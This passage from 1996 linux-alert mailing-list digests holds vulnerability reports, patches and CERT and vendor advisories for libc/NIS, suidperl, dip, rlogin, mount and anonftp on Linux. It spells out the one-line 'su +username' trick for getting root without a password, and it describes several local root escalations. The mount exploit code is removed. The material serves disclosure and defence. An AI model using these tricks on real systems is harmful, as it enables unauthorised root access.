exclude a single user from the NIS passwd file). By typing 'su +username' or 'su -- -username' resp. you become root without being asked for a passwd. 'login' is not vulnerable, so only users with shell access to the machine can exploit the bug. I tried it on two different systems that used NIS, both running Slackware 3.0, libc 5.3.12 and 5.0.9, resp. It can only be used if an entry of the form described above is present, so many systems that do not use NIS or that have only a standard '+' entry are safe against this attack. This apparently has been know for a long time, since the source for 'login' reads: /* Dirty patch to fix a gigantic security hole when using yellow pages. This problem should be solved by the libraries, and not by programs, but this must be fixed urgently! If the first char of the username is '+', we avoid login success. Feb 95 */ if (username[0] == '+') { puts("Illegal username"); badlogin(username); sleepexit(1); } but probably due to bad communication it was not fixed in libc. A similar bug in the same function was fixed over a year ago ('su +' or 'su +@netgroup'), but strangely nobody thought about 'su +username'. I attach a patch that fixes the hole - it was taken against libc 5.3.12, but should be easily adaptable to other versions. I was already in contact with H.J. Lu and expect that the next version of libc will contain this patch. I think this info should be forwarded to the linux-alert mailing list. Regards, Arno -- Arno Schaefer - [email protected] Fraunhofer Center for Research in Computer Graphics, Providence RI -- Opinions expressed are my own and not those of Fraunhofer CRCG -- Never attribute to malice that which can be adequately explained by stupidity - - - --------------63DB9C7E36AD404B638D1437 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="getpwnam.patch" Index: getpwnam.c =================================================================== RCS file: /home/work/cvs/linux/libc/pwd/getpwnam.c,v retrieving revision 1.5 diff -c -r1.5 getpwnam.c *** getpwnam.c 1996/05/22 15:49:37 1.5 - - - --- getpwnam.c 1996/05/23 06:59:32 *************** *** 53,58 **** - - - --- 53,63 ---- register FILE *stream; register struct passwd *p; + #ifdef YP + if (name[0] == '-' || name[0] == '+') + return NULL; + #endif + if (info == NULL) { info = __pwdalloc(); - - - --------------63DB9C7E36AD404B638D1437-- - - ------- end ------- [Mod: I have also verified the existence of this hole in libc-4.6.27 (a.out). --Jeff.] - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMasUZnoDqzGe1QXFAQHvzwQAp0qBxFtHl/+4RkxbvK3HETdpT6n/OOFA B15kmXdkgcbCtIF5slfgXbB244KMGf3sebNjtC/IBtNRfyDP7e/P+v4poeEEmcyu BJfc2UxoiE5yK9/L/PgAUgm9exYMVyNT8N9balb509q7eI5gWjhxK9vDb1P0MyI8 NFf2QC7D5mI= =exlk - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #9 ******************************* linux-alert-digest/v02.n010100664 1767 1767 34175 6167144003 14704 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #10 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Friday, 5 July 1996 Volume 02 : Number 010 [linux-alert] CERT Advisory CA-96.12 - Vulnerability in suidperl ---------------------------------------------------------------------- From: CERT Advisory Date: Wed, 26 Jun 1996 11:34:01 -0400 Subject: [linux-alert] CERT Advisory CA-96.12 - Vulnerability in suidperl [Mod: This affects Linux. --Jeff] - -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.12 June 26, 1996 Topic: Vulnerability in suidperl - - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of a vulnerability in systems that contain the suidperl program and that support saved set-user-ID and saved set-group-ID. By exploiting this vulnerability, anyone with access to an account on such a system may gain root access. Saved set-user-IDs and set-group-IDs are sometimes referred to as POSIX saved IDs. suidperl is also known as sperl followed by a version number, as in sperl5.002. Perl versions 4 and 5 can be compiled and installed in such a way that they will be vulnerable on some systems. If you have installed the suidperl or sperl programs on a system that supports saved set-user-ID and set-group-ID, you may be at risk. The CERT Coordination Center recommends that you first disable the suidperl and sperl programs (Section III.A). If you need the functionality, we further recommend that you either apply a patch for this problem or install Perl version 5.003 (Section III.B). If neither a patch nor a new version are viable alternatives, we recommend installing the wrapper written by Larry Wall as a workaround for this problem (Section III.C). As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.12.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - - ----------------------------------------------------------------------------- I. Description On some systems, setuid and setgid scripts (scripts written in the C shell, Bourne shell, or Perl, for example, with the set user or group ID permissions enabled) are insecure due to a race condition in the kernel. For those systems, Perl versions 4 and 5 attempt to work around this vulnerability with a special program named suidperl, also known as sperl. Even on systems that do provide a secure mechanism for setuid and setgid scripts, suidperl may also be installed--although it is not needed. suidperl attempts to emulate the set-user-ID and set-group-ID features of the kernel. Depending on whether the script is set-user-ID, set-group-ID, or both, suidperl achieves this emulation by first changing its effective user or group ID to that of the original Perl script. suidperl then reads and executes the script as that effective user or group. To do these user and group ID changes correctly, suidperl must be installed as set-user-ID root. On systems that support saved set-user-ID and set-group-ID, suidperl does not properly relinquish its root privileges when changing its effective user and group IDs. II. Impact On a system that has the suidperl or sperl program installed and that supports saved set-user-ID and saved set-group-ID, anyone with access to an account on the system can gain root access. III. Solution The command in Section A helps you determine if your system is vulnerable and, if it is, optionally disables the suidperl and sperl programs that it locates. After you have run this command on all of your systems, your system will no longer be vulnerable. If you find that your system is vulnerable, then you need to replace the suidperl and sperl programs with new versions. Section B describes how to do that. Finally, Section C identifies a wrapper that can be used in place of the suidperl program. A. How to determine if your system is vulnerable To determine if a system is vulnerable to this problem and to disable the programs that are believed to be vulnerable, use the following find command or a variant. Consult your local system documentation to determine how to tailor the find program on your system. You will need to run the find command on each system you maintain because the command examines files on the local disk only. Substitute the names of your local file systems for FILE_SYSTEM_NAMES in the example. Example local file system names are /, /usr, and /var. You must do this as root. Note that this is one long command, though we have separated it onto three lines using back-slashes. find FILE_SYSTEM_NAMES -xdev -type f -user root \ \( -name 'sperl[0-9].[0-9][0-9][0-9]' -o -name \ 'suidperl' \) -perm -04000 -print -ok chmod ug-s '{}' \; This command will find all files on a system that are - only in the file system you name (FILE_SYSTEM_NAMES -xdev) - regular files (-type f) - owned by root (-user root) - named appropriately (-name 'sperl[0-9].[0-9][0-9][0-9]' -o -name 'suidperl') - setuid root (-perm -04000) Once found, those files will - have their names printed (-print) - have their modes changed, but only if you type `y' in response to the prompt (-ok chown ug-s '{}' \;) B. Obtain and install the appropriate patch according to the instructions included with the patch. Vendor patches -------------- You may be vulnerable if your vendor supports saved set-user-ID and set-group-ID and ships suidperl or sperl. You need to get a patched version from your vendor. Appendix A contains information provided by vendors as of the date of this advisory. When we receive updated information, we will put it in CA-96.12.README. Until you can install a patch, we recommend disabling suidperl. The find command above will help you do that. If you need suidperl or sperl, an alternative is to install the wrapper described in Section C. Source code patches ------------------- If you have installed Perl from source code, you should install source code patches. Patches are available from the CPAN (Comprehensive Perl Archive Network) archives. Patch for Perl Version 4: File src/fixsuid4-0.pat MD5 Checksum af3e3c40bbaafce134714f1381722496 Patch for Perl Version 5: File src/fixsuid5-0.pat MD5 Checksum 135c96ee400fd37a38a7ef37edd489e9 In addition, Perl version 5.003 contains this patch, so installing it on your system also addresses this vulnerability. Perl 5.003 is available from the CPAN archives. Here are the specifics: File src/5.0/perl5.003.tar.gz MD5 Checksum b1bb23995cd25e5b750585bfede0e8a5 The CPAN archives can be found at the following locations: CPAN master site ftp://ftp.funet.fi/pub/languages/perl/CPAN/ Africa ftp://ftp.is.co.za/programming/perl/CPAN/ Asia ftp://dongpo.math.ncu.edu.tw/perl/CPAN/ ftp://ftp.lab.kdd.co.jp/lang/perl/CPAN/ Australasia ftp://coombs.anu.edu.au/pub/perl/ ftp://ftp.mame.mu.oz.au/pub/perl/CPAN/ ftp://ftp.tekotago.ac.nz/pub/perl/CPAN/ Europe ftp://ftp.arnes.si/software/perl/CPAN/ ftp://ftp.ci.uminho.pt/pub/lang/perl/ ftp://ftp.cs.ruu.nl/pub/PERL/CPAN/ ftp://ftp.demon.co.uk/pub/mirrors/perl/CPAN/ ftp://ftp.funet.fi/pub/languages/perl/CPAN/ ftp://ftp.ibp.fr/pub/perl/CPAN/ ftp://ftp.leo.org/pub/comp/programming/languages/perl/CPAN/ ftp://ftp.pasteur.fr/pub/computing/unix/perl/CPAN/ ftp://ftp.rz.ruhr-uni-bochum.de/pub/programming/languages/perl/CPAN/ ftp://ftp.sunet.se/pub/lang/perl/CPAN/ ftp://ftp.switch.ch/mirror/CPAN/ ftp://unix.hensa.ac.uk/mirrors/perl-CPAN/ North America ftp://ftp.cis.ufl.edu/pub/perl/CPAN/ ftp://ftp.delphi.com/pub/mirrors/packages/perl/CPAN/ ftp://ftp.sedl.org/pub/mirrors/CPAN/ ftp://ftp.sterling.com/programming/languages/perl/ ftp://ftp.uoknor.edu/mirrors/CPAN/ ftp://uiarchive.cso.uiuc.edu/pub/lang/perl/CPAN/ C. If you need setuid or setgid Perl scripts and are unable to apply the source code patches listed in Section B, we suggest that you retrieve Larry Wall's fixsperl script noted below. fixsperl is a script that replaces the suidperl and sperl programs with a wrapper that eliminates the vulnerability. The script is available from the CPAN archives as File src/fixsperl-0 MD5 Checksum f13900d122a904a8453a0af4c1bdddc6 Note that this script should be run one time, naming every suidperl or sperl file on your system. If you add another version of suidperl or sperl to your system, then you must run fixsperl on those newly installed versions. - - --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Paul Traina, Larry Wall, Eric Allman, Tom Christiansen, and AUSCERT for their support in the development of this advisory. - - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key: ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for non-commercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. ......................................................................... Appendix A: Vendor Information Current as of June 26, 1996 See CA-96.12.README for updated information. Below is information we have received from vendors concerning the vulnerability described in this advisory. If you do not see your vendor's name, please contact the vendor directly for information. Apple Computer, Inc. ==================== A/UX 3.1.1 and earlier support saved set-{user,group}-ids. A/UX 3.1.1 and earlier do not have Perl as part of the standard product. Data General Corporation ======================== Data General does support saved set-user-IDs and set-group-IDs on DG/UX. Data General does not ship suidperl or sperl* with DG/UX. Hewlett-Packard Company ======================= HP/UX versions 8.X, 9.X, and 10.X all support saved set-user-id. None of HP/UX versions 8.X, 9.X, and 10.X have Perl as part of the standard product. IBM Corporation =============== AIX versions 3.2.5 and 4.X support saved set-user-id. AIX versions 3.2.5 and 4.X do not have Perl as part of the standard product. However, the SP2's PSSP software does contain suidperl, but the program is not installed with the setuid bit set. Linux ===== Linux 1.2 and 2.0 support saved set-user-id. Most distributions of Linux provide suidperl and sperl. The fixsperl script works on linux, and it is recommended that this fix be applied until a new Perl release is made. Open Software Foundation ======================== OSF/1 1.3 or later support saved set-user-id OSF/1 1.3 or later does not have Perl as part of the standard product. Sony Corporation ================ NEWS-OS 4.X does not support saved set-user-id and therefore any version of Perl on that system is not vulnerable. NEWS-OS 6.X does support saved set-user-id. X.org ===== None of X.org's development systems are vulnerable to the saved set-user-IDs and set-group-IDs problems, and suidperl is not shipped with either of our products. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMdE8tnVP+x0t4w7BAQF2eQQAlpH/zOBMFK3/TQ+TAbfAkkULJORsvPTs Hv2aJtInooObGNlT8NThg+7DBOUTcNQ7allPtNRzDE9xIDsn/ZGQZSUMtuSiVqI5 F9vgXZgDFNMknRW35ae6E9zJ3R/FJGIVxQyA6BB2YhbyvnaMrzKqE0nGDy1GZsPl mhGAXh3CZYw= =o+Jl - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #10 ******************************** linux-alert-digest/v02.n011100664 1767 1767 15750 6173115003 14676 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #11 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Wednesday, 17 July 1996 Volume 02 : Number 011 [linux-alert] CERT Advisory CA-96.13.dip_vul (dip vulnerability). ---------------------------------------------------------------------- From: Jeff Uphoff Date: Tue, 9 Jul 1996 17:17:01 -0400 Subject: [linux-alert] CERT Advisory CA-96.13.dip_vul (dip vulnerability). This is actually rather old news; Dan Walters posted an alert about this vulnerability on January 22, 1996, and Marc Ewing posted binary fix availability information for Red Hat systems the next day. The original alert(s) is/are archived at: linux.nrao.edu:/pub/security/list-archive/linux-alert/linux-alert.9601 linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960122 linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960123 The exploit that CERT mentions was publicly posted to linux-security and Bugtraq in January as well. - --Up. - -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.13 July 9, 1996 Topic: Vulnerability in the dip program - - ----------------------------------------------------------------------------- The CERT Coordination Center has received several reports of exploitations of a vulnerability in the dip program on Linux systems. The dip program is shipped with most versions of the Linux system; and versions up to and including version 3.3.7n are vulnerable. An exploitation script for Linux running on X86-based hardware is publicly available. Although exploitation scripts for other architectures and operating systems have not yet been found, we believe that they could be easily developed. The CERT Coordination Center recommends that you disable dip and re-enable it only after you have installed a new version. Section III below describes how to do that. As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.13.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - - ----------------------------------------------------------------------------- I. Description dip is a freely available program that is included in most distributions of Linux. It is possible to build it for and use it on other UNIX systems. The dip program manages the connections needed for dial-up links such as SLIP and PPP. It can handle both incoming and outgoing connections. To gain access to resources it needs to establish these IP connections, the dip program must be installed as set-user-id root. A vulnerability in dip makes it possible to overflow an internal buffer whose value is under the control of the user of the dip program. If this buffer is overflowed with the appropriate data, a program such as a shell can be started. This program then runs with root permissions on the local machine. Exploitation scripts for dip have been found running on Linux systems for X86 hardware. Although exploitation scripts for other architectures and operating systems have not yet been found, we believe that they could be easily developed. II. Impact On a system that has dip installed as set-user-id root, anyone with access to an account on that system can gain root access. III. Solution Follow the steps in Section A to disable your currently installed version of dip. Then, if you need the functionality that dip provides, follow the steps given in Section B. A. Disable the presently installed version of dip. As root, chmod 0755 /usr/sbin/dip By default, dip is installed in the /usr/sbin directory. Note that it may be installed elsewhere on your system. B. Install a new version of dip. If you need the functionality that dip provides, retrieve and install the following version of the source code for dip, which fixes this vulnerability. dip is available from ftp://sunsite.unc.edu/pub/Linux/system/Network/serial/dip/dip337o-uri.tgz ftp://sunsite.unc.edu/pub/Linux/system/Network/serial/dip/dip337o-uri.tgz.sig MD5 (dip337o-uri.tgz) = 45fc2a9abbcb3892648933cadf7ba090 SHash (dip337o-uri.tgz) = 6e3848b9b5f9d5b308bbac104eaf858be4dc51dc - - --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Uri Blumenthal for his solution to the problem and Linux for their support in the development of this advisory. - - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. This file: ftp://info.cert.org/pub/cert_advisories/CA-96.13.dip_vul http://www.cert.org click on "CERT Advisories" - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMeJzdXVP+x0t4w7BAQEJdAQAt0Y9zXDjpeuRYFI+vmceXpHL8QJPm1GL zArG5qhGx5+9hTioQCUiq/kl6uXMI0IAbfdwDG3I0wg5i7Jvi8PLYyDujpl8+gVT jzJFEQ/S9CjZ6LUxzo2Twg90urQrphFzwnY4L5DVEftKaoL1zCpg6i4SadC7vQUm n0HWkh7kV4M= =zcQN - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #11 ******************************** linux-alert-digest/v02.n012100664 1767 1767 17534 6200331003 14670 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #12 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Friday, 2 August 1996 Volume 02 : Number 012 [linux-alert] Linux NetKit-B update. [linux-alert] LSF Update#11: Vulnerability of rlogin ---------------------------------------------------------------------- From: David Holland Date: Wed, 24 Jul 1996 01:41:12 -0400 (EDT) Subject: [linux-alert] Linux NetKit-B update. Linux NetKit-B-0.07 has been released (check comp.os.linux.announce for details). This fixes the following security problems/hazards: 1. Possible overrun copying DNS results into a buffer on the stack in fingerd while processing the linux-specific -w ("welcome banner") option. Patch: convert sprintf to snprintf. 2. Possible overrun copying DNS results into a buffer on the stack in talkd. This affected FreeBSD, NetBSD, and OpenBSD as well; all have integrated a fix into the current development tree. It may affect vendors... Patch: convert sprintf to snprintf in announce.c. 3. Possible overrun copying $TERM into a buffer on the stack in rlogin. This affects lots of platforms, but has been mentioned here before I think. Patch: use snprintf or strncpy. 4. Suspicious (but not necessarily exploitable) handling of buffers on the stack in rshd. Patch: convert sprintf to snprintf. 5. rsh didn't drop root before execing rlogin. This is not a big deal except in conjunction with (3) -- chmod -s on rlogin is *not* sufficient. 6. Buffer overflow in ping mentioned yesterday, but it's not on the stack and consequently probably not exploitable. Patch: use snprintf. 7. Integrated a fix for the telnetd environment bug (old news, but it hadn't got into the standard linux sources yet.) Also, there was a bug in sliplogin where it did "setuid(0); system()" without clearing the environment. A fixed version has been available for Linux and FreeBSD for some time, but the news had not reached NetBSD until last week. Vendor versions could be vulnerable. - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: "Alexander O. Yuriev" Date: Tue, 30 Jul 1996 18:11:00 -0400 Subject: [linux-alert] LSF Update#11: Vulnerability of rlogin - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update rlogin Vulnerability Tue Jul 30 17:51:57 EDT 1996 Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the rlogin program of NetKitB-0.6 This vulnerability affects several widely used Linux distributions, including RedHat Linux 2.0, 2.1 and derived systems including Caldera Network Desktop, Slackware 3.0 and others. This vulnerability is not limited to Linux or any other free UNIX systems. Both the information about this vulnerability and methods of its expolit were made available on the Internet. RISK ASSESMENT Local and remote users could gain super-user priviledges DISTRIBUTION FIXES Red Hat Commercial Linux Red Hat Linux version 2.0 and 2.1 contains vulnerable program unless NetKit-B-0.06-7.i386.rpm was installed. In order to fix the vulnerability install NetKit-B-0.06-7 rpm available from ftp://ftp.redhat.com/pub/redhat/old-releases/redhat-2.1/i386/updates/RPMS/NetKit-B-0.06-7.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/RedHat-2.1/NetKit-B-0.06-7.i386.rpm ftp://tarsier.cv.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/RedHat-2.1/NetKit-B-0.06-7.i386.rpm Please verify the MD5 signature of the RPM prior to installing it. 601c3f6137a6fb15ae61a6b817395040 NetKit-B-0.06-7.i386.rpm Red Hat Linux version 3.0.3 (Picasso) does not contain vulnerable rlogin program. Caldera Network Desktop Version 1 of CND contains the vulnerable program unless NetKit-B-0.06-4c1.i386.rpm was installed. This RPM is available from ftp://ftp.caldera.com/pub/cnd-1.0/updates/NetKit-B-0.06-4c1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/CND/NetKit-B-0.06-4c1.i386.rpm ftp://tarsier.cv.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/CND/NetKit-B-0.06-4c1.i386.rpm Please verify the MD5 signature of RPM prior to installing it. aeb2da201477cd3280fdc09836395c35 NetKit-B-0.06-4c1.i386.rpm Version 1 of CND upgraded to RedHat Linux 3.0.3 (Picasso) does not contain a vulnerable program. Debian Debian Project did not either confirm or deny the vulnerability of Debian/GNU Linux 1.1. Debian/GNU Linux systems may be vulnerable if NetKit-B-0.6 is installed. Until the official fix-kit is available for Debian/GNU Linux, system administrators of Debian systems are advised to follow guidelines under Other Linux Distributions section. Slackware The Slackware Linux distribution Version 3.0 is confirmed to be vulnerable unless a NetKit newer than NetKit-B-0.6 is installed. Until the official fix-kit is available for Slackware 3.0, the system administrators are advised to follow the guidelines under Other Linux Distributions section. Yggdrasil Yggdrasil Computing's Plug & Play Linux Fall'95 contains vulnerable rlogin program. Adam J. Richter from Yggdrasil Computing made an unofficial fix-kit available at ftp.yggdrasil.com/pub/support/fall95/rlogin_fix/ We are unable to provide MD5 signature for the fix kit as we are unable to verify the integrity of the message. Other Linux Distributions System administrators of systems based on other Linux distributions or distributions that do not have official patch-kits available are advised to install newly released NetKit-B-0.7 available from ftp://ftp.uk.linux.org/pub/linux/Networking/base and ftp://sunsite.unc.edu/pub/Linux/Incoming CREDITS This LSF Update is based on the information provided by Alan Cox. The first patch for rlogin program was provided by Marc Ewing of Red Hat Software. Ron Holt of Caldera Inc provided fixed RPM for Caldera Network Desktop within 3 hours after the initial contact. Adam J. Richter provided unofficial information about the unofficial fix-kit for Yggdrasil Plug and Play Linux Fall'95. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMf6EsYxFUz2t8+6VAQFDVAQAloKbM00wdzNCwcyo9Wz8wJo54a+TwYN6 Xua/PFBnhunCpJy/T0BOO/Dh1IBE/mCu2FSNMK/bkRXel6Om9lEzjDHlyeUizeBI enIAOWQvNBf0e+/lHJXXtCSIWNeSfSysCaP98Y7F6bouZc14l1d/PJg7eSmWikFG HhgcRl6ZyHM= =hG1l - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #12 ******************************** linux-alert-digest/v02.n013100664 1767 1767 23721 6206537203 14704 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #13 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Wednesday, 21 August 1996 Volume 02 : Number 013 [linux-alert] Vulnerability in ALL linux distributions [linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux [linux-alert] SECURITY FIX/UPDATE: anonftp [linux-alert] SECURITY FIX/UPDATE: anonftp ---------------------------------------------------------------------- From: bloodmask Date: Tue, 13 Aug 1996 06:49:55 +0200 Subject: [linux-alert] Vulnerability in ALL linux distributions This is a multi-part message in MIME format. - --------------3E2982D84A560D2D9A831FA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Greetings folks, Sorry we haven't released this thing sooner, due to testing we've conducted to determine vulnerability on other systems besides Linux, I've attached the officail release, Patch this up quick, and if I were you, I wouldn't trust those old binaries to be secure anymore, this thing has been with Linux since it's beggining, at it's high time this "feature" is removed. - --------------3E2982D84A560D2D9A831FA Content-Type: text/plain; charset=us-ascii; name="cvnmount.exploit" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="cvnmount.exploit" Covin Security Releases: (mount bufferoverflow exploit v1.0) Tested operated systems: All current distributions of Linux Affect: Local users on systems affected can gain overflow mounts syntax buffer and execute a shell by overwriting the stack. Affected binaries: (/bin/mount and /bin/umount) Workaround: On all current distributions of Linux remove suid bit of /bin/mount and /bin/umount. [chmod -s /bin/mount;chmod -s /bin/umount] Remarks: For gods sake, how many more times are we gonna see this kind of problem? It's been with Linux since it's very beggining, and it's so easy to exploit. Similiar buffer overflow vulnerabilities have been found in Linux distributions many times before, splitvt, dip, just to name a few examples. Any remarks, notes or other forms of feedback may be redirected to: [email protected] <------------------------------[ Cut here ]----------------------------------> /* Mount Exploit for Linux, Jul 30 1996 [Mod: Exploit removed for linux-alert posting; it's already been posted to linux-security and Bugtraq. This vulnerability is not new news, but since exploits are now being published I'm posting this to linux-alert for those that might not yet have gotten the news. --Jeff.] - --------------3E2982D84A560D2D9A831FA-- ------------------------------ From: Elliot Lee Date: Tue, 13 Aug 1996 16:31:37 -0400 (EDT) Subject: [linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux - -----BEGIN PGP SIGNED MESSAGE----- Recently a security hole was found in the mount program that comes with many Linux distributions, including Red Hat Linux. mount and umount are normally installed setUID root to allow users to perform mount and unmount operations. Unfortunately, they do not check the length of the information passed to them, creating a buffer overflow problem. For more details, visit the BugTraq mailing-list archives at http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html This hole allows anyone with an account on a system to obtain root access. Affected systems: - All systems running all versions of Red Hat Linux. Users of versions of Red Hat less than 3.0.3 are advised to upgrade to 3.0.3, since many other problems are fixed in the upgrade. If you are running: * Red Hat Linux 3.0.3 (Picasso) on the Intel architecture, get - ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/ util-linux-2.5-11fix.i386.rpm mount-2.5k-1.i386.rpm And install them in that order using 'rpm -Uvh [rpm filename]' * Red Hat Linux 3.0.3 (Picasso) on the Alpha architecture, get - ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/ util-linux-2.5-11fix.axp.rpm mount-2.5k-1.axp.rpm And install them in that order using 'rpm -Uvh [rpm filename]' * Red Hat Linux 3.0.4 (Rembrandt) beta on the Intel, get - ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/ mount-2.5k-2.i386.rpm * Red Hat Linux 3.0.4 (Rembrandt) beta on the Sparc, get - ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/ mount-2.5k-2.sparc.rpm [Aside: There is no difference between mount-2.5k-1 and -2 except the package format.] All RPMs are PGP-signed with the [email protected] key. The source RPMs will be available in the normal locations. MD5SUM's: ad9b0628b6af9957d7b5eb720bbe632b mount-2.5k-1.axp.rpm 12cb19ec4b3060f8d1cedff77bda7c05 util-linux-2.5-11fix.axp.rpm 26506a3c0066b8954d80deff152e0229 mount-2.5k-1.i386.rpm f48c6bf901dd5d2c476657d6b75b12a5 util-linux-2.5-11fix.i386.rpm 7337f8796318f3b13f2dccb4a8f10b1a mount-2.5k-2.i386.rpm e68ff642a7536f3be4da83eedc14dd76 mount-2.5k-2.sparc.rpm Thanks to Bloodmask, Vio, and others on the BugTraq list for discovering this hole and providing patches. --==== Elliot Lee = == Red Hat Software ====-- "Usenet is like a herd of performing elephants with diarrhea; massive, difficult to redirect, awe-inspiring, entertaining, and a source of mind-boggling amounts of excrement when you least expect it." - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhDmLCaSlK8942+NAQFc+QP+NnduJSfnrpXNMfPHBXPf11pNBvUKNfew kJ6GUVjXYePIDz6HxIpJWJsZF5u+t5yii5sfYkkVK1pPENMsjrAto2UWMklAF62p dxS3zgYjWfaH1AdG7U5e47huThBTmuyY/uwBmVf/jLtV2dqM1taRz9yqOTkm10o9 0Z7OylS10PY= =3lv/ - -----END PGP SIGNATURE----- ------------------------------ From: Elliot Lee Date: Mon, 19 Aug 1996 18:54:35 -0400 (EDT) Subject: [linux-alert] SECURITY FIX/UPDATE: anonftp There is a security hole in the anonftp package included with all versions of Red Hat Linux that allows an anonymous FTP user to execute arbitrary commands in the chroot FTP environment. Due to some options in GNU tar that are enabled by default, any program that exists (or can be uploaded to) an FTP server can be run. Severity is limited due to the chroot environment, but the problem still needs to be addressed. Updates are available on ftp.redhat.com now. If you are using a version prior to 3.0.3, an upgrade is recommended to solve other security holes. If you are using 3.0.3 on the Intel, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/anonftp-2.0-2.i386.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.3 on the Alpha, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/anonftp-2.0-2.axp.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Intel, get ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/anonftp-2.2-2.i386.rpm and install it using 